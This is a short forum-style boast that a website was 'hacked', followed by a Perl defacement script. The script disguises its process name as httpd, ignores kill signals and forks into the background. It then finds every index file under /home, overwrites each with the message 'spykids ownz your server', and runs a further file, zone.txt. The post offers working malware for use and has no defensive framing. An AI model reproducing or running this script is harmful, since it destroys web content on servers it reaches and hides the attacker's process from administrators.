http://hotscripts.com/ hacked :devil:
#!/usr/bin/perl
my $processo = "/usr/local/sbin/httpd - spy";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
system("find /home -name index.* >> index");
open(a,"<index");
@ind = <a>;
close(a);
$b = scalar(@ind)
for($a=0;$a<=$b;$a++){
chomp;
system("echo spykids ownz your server > $ind[$a]");
}
system("perl zone.txt");
exit;